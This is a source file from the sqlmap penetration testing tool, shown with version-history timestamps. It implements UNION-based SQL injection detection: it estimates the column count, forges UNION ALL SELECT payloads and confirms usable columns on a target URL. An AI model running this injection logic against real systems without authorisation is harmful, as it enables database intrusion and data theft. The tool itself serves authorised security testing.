sqlmap/lib/techniques/inband/union/test.py

228 lines
8.6 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import random
2011-01-23 14:35:24 +03:00
import re
2011-01-06 12:26:01 +03:00
import time
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
2011-02-02 14:22:35 +03:00
from lib.core.common import average
2011-01-31 15:41:39 +03:00
from lib.core.common import Backend
2011-01-06 12:26:01 +03:00
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getUnicode
2011-01-31 15:41:39 +03:00
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
2011-02-02 14:22:35 +03:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
2011-02-02 14:22:35 +03:00
from lib.core.common import stdev
2011-04-20 14:17:42 +04:00
from lib.core.common import wasLastRequestDBMSError
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
2010-12-08 16:09:27 +03:00
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
2011-02-02 14:22:35 +03:00
from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO
2011-02-03 19:59:49 +03:00
from lib.core.settings import MIN_STATISTICAL_RANGE
2011-02-02 16:03:24 +03:00
from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
2011-02-02 14:22:35 +03:00
from lib.request.comparison import comparison
2008-10-15 19:38:22 +04:00
from lib.request.connect import Connect as Request
2011-02-02 16:34:09 +03:00
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
2011-02-02 14:22:35 +03:00
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
pushValue(kb.errorIsNone)
2011-02-02 15:42:55 +03:00
items, ratios = [], []
2011-02-02 14:22:35 +03:00
kb.errorIsNone = False
2011-02-02 16:03:24 +03:00
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
2011-02-02 14:22:35 +03:00
min_, max_ = MAX_RATIO, MIN_RATIO
2011-03-17 15:34:29 +03:00
2011-02-02 16:03:24 +03:00
for count in range(lowerCount, upperCount+1):
query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
2011-02-02 14:22:35 +03:00
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
ratio = comparison(page, True) or MIN_RATIO
2011-02-02 14:22:35 +03:00
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
2011-02-02 14:22:35 +03:00
items.append((count, ratio))
ratios.pop(ratios.index(min_))
ratios.pop(ratios.index(max_))
deviation = stdev(ratios)
2011-02-03 19:59:49 +03:00
if abs(max_ - min_) < MIN_STATISTICAL_RANGE:
2011-04-20 14:17:42 +04:00
kb.errorIsNone = popValue()
2011-02-03 19:59:49 +03:00
return None
2011-02-02 14:22:35 +03:00
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
minItem, maxItem = None, None
2011-03-17 15:34:29 +03:00
2011-02-02 15:42:55 +03:00
for item in items:
2011-02-02 14:22:35 +03:00
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
2011-02-02 14:22:35 +03:00
kb.errorIsNone = popValue()
if retVal:
2011-02-03 19:48:27 +03:00
infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
logger.info(infoMsg)
2011-02-02 14:22:35 +03:00
return retVal
2011-02-02 16:34:09 +03:00
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
positions = range(0, count)
# Unbiased approach for searching appropriate usable column
random.shuffle(positions)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
2011-01-16 04:17:09 +03:00
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
2011-01-31 15:41:39 +03:00
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
2011-04-20 14:17:42 +04:00
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
2011-04-21 14:54:12 +04:00
2011-04-20 14:17:42 +04:00
if unionErrorCase:
2011-04-21 14:54:12 +04:00
warnMsg = "combined UNION/ERROR SQL injection case found on "
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
warnMsg += "column with better characteristics"
2011-04-20 14:17:42 +04:00
logger.warn(warnMsg)
2011-01-31 15:41:39 +03:00
if content and phrase in content:
validPayload = payload
vector = (position, count, comment, prefix, suffix, kb.uChar, where)
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
2011-01-16 04:17:09 +03:00
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2)
2011-02-02 16:34:09 +03:00
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)
# Perform the request
2011-01-31 15:41:39 +03:00
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
2011-01-31 15:41:39 +03:00
if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)
2011-04-20 14:17:42 +04:00
if not unionErrorCase:
break
return validPayload, vector
2011-01-16 04:17:09 +03:00
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
validPayload = None
vector = None
# Confirm the inband SQL injection and get the exact column
# position which can be used to extract data
2011-01-16 04:17:09 +03:00
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not validPayload:
2011-03-17 15:34:29 +03:00
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
return validPayload, vector
2011-01-16 04:17:09 +03:00
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
2008-10-15 19:38:22 +04:00
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
validPayload = None
vector = None
query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
2011-01-30 19:19:58 +03:00
total = conf.uColsStop+1 - conf.uColsStart
2008-10-15 19:38:22 +04:00
count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)
if count:
if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]
2008-10-15 19:38:22 +04:00
if count:
query += ", %s" % kb.uChar
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in FROM_TABLE:
query += FROM_TABLE[Backend.getIdentifiedDbms()]
2008-10-15 19:38:22 +04:00
2011-01-16 04:17:09 +03:00
validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
return validPayload, vector
2008-10-15 19:38:22 +04:00
2011-01-16 04:17:09 +03:00
def unionTest(comment, place, parameter, value, prefix, suffix):
2008-10-15 19:38:22 +04:00
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
2010-12-08 16:09:27 +03:00
kb.technique = PAYLOAD.TECHNIQUE.UNION
2011-01-16 04:17:09 +03:00
validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
2008-10-15 19:38:22 +04:00
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
2008-10-15 19:38:22 +04:00
return validPayload, vector